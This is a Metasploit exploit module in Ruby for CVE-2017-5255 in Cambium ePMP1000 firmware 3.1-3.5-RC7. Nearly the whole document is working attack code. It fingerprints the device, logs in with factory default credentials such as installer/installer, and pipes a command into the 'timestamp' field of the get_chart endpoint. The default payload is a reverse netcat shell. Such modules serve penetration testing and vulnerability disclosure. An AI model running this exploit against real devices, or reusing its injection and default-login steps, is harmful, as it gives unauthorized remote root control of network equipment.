Cambium ePMP1000 - 'get_chart' Shell via Command Injection (Metasploit)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)",
      'Description' => %{
          This module exploits an OS Command Injection vulnerability in Cambium
          ePMP1000 device management portal. It requires any one of the following login
          credentials - admin/admin, installer/installer, home/home - to set up a reverse
          netcat shell. The module has been tested on versions 3.1-3.5-RC7.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
      'References' =>
        [
          ['CVE', '2017-5255'],
          ['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities']
        ],
      'Privileged' => true,
      'Targets' =>
        [
          ['CMD',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix'
            }
          ]
        ],
      'DisclosureDate' => 'Dec 18 2017',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
    )

    register_options(
      [
        Opt::RPORT(80),	# Application may run on a different port too. Change port accordingly.
        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
      ], self.class
    )

    deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
  end

  #
  # Fingerprinting
  #
  def is_app_epmp1000?
    begin
      res = send_request_cgi(
        {
          'uri'       => '/',
          'method'    => 'GET'
        }
      )
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    end

    good_response = (
      res &&
      res.code == 200 &&
      (res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
    )

    if good_response
      get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
      if !get_epmp_ver.nil?
        epmp_ver = get_epmp_ver[1]
        if !epmp_ver.nil?
          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
          return true, epmp_ver
        else
          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
          epmp_ver = ''
          return true, epmp_ver
        end
      end
    else
      print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
      epmp_ver = nil
      return false
    end
  end

  #
  # check
  #
  def check
    success, epmp_ver = is_app_epmp1000?
    if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')
      return CheckCode::Vulnerable
    else
      return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
    end
  end

  #
  # Login
  #
  def login(user, pass)
    res = send_request_cgi(
      {
        'uri' => '/cgi-bin/luci',
        'method' => 'POST',
        'headers' => {
          'X-Requested-With' => 'XMLHttpRequest',
          'Accept' => 'application/json, text/javascript, */*; q=0.01'
        },
        'vars_post' =>
          {
            'username' => 'dashboard',
            'password' => ''
          }
      }
    )

    cookies = res.get_cookies_parsed
    check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s

    good_response = (
      res &&
      res.code == 200 &&
      check_sysauth.include?('sysauth')
    )

    if good_response
      sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
      sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
      prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)

      res = send_request_cgi(
        {
          'uri' => '/cgi-bin/luci',
          'method' => 'POST',
          'cookie' => sysauth_value,
          'headers' => {
            'X-Requested-With' => 'XMLHttpRequest',
            'Accept' => 'application/json, text/javascript, */*; q=0.01',
            'Connection' => 'close'
          },
          'vars_post' =>
            {
              'username' => user,
              'password' => pass,
              'prevsess' => prevsessid
            }
        }
      )

      good_response = (
        res &&
        res.code == 200 &&
        !res.body.include?('auth_failed')
      )

      if good_response
        print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")

        # check if max_user_number_reached?
        if !res.body.include?('max_user_number_reached')
          # get the cookie now
          cookies = res.get_cookies_parsed
          stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
          stok_value = "#{stok_value_dirty}".split('"')[3]
          sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
          sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)

          final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"

          # create config_uri
          config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'
          return final_cookie, config_uri_get_chart
        else
          print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
          final_cookie = 'skip'
          config_uri_dump_config = 'skip'
          config_uri_reset_pass = 'skip'
          config_uri_get_chart = 'skip'
          return final_cookie, config_uri_get_chart
        end
      else
        print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
        final_cookie = 'skip'
        config_uri_get_chart = 'skip'
        return final_cookie, config_uri_get_chart
      end
    end
  end

  #
  # open cmd_shell
  #
  def cmd_shell(config_uri, cookie)
    command = payload.encoded
    inject = '|' + "#{command}"
    clean_inject = CGI.unescapeHTML(inject.to_s)

    print_status('Sending payload...')

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => config_uri,
        'cookie' => cookie,
        'headers' => {
          'Accept' => '*/*',
          'Accept-Language' => 'en-US,en;q=0.5',
          'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
          'X-Requested-With' => 'XMLHttpRequest',
          'Connection' => 'close'
        },
        'vars_post' =>
          {
            'measure' => 's', # This parameter can also be used for injection
            'timestamp' => clean_inject,
            'debug' => 0
          }
      }, 25
    )
    handler
  end

  # exploit

  def exploit
    _success, epmp_ver = is_app_epmp1000?
    if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')
      print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')
      return
    else
      cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD'])
      if cookie == 'skip' && config_uri_get_chart == 'skip'
        return
      else
        cmd_shell(config_uri_get_chart, cookie)
      end
    end
  end
end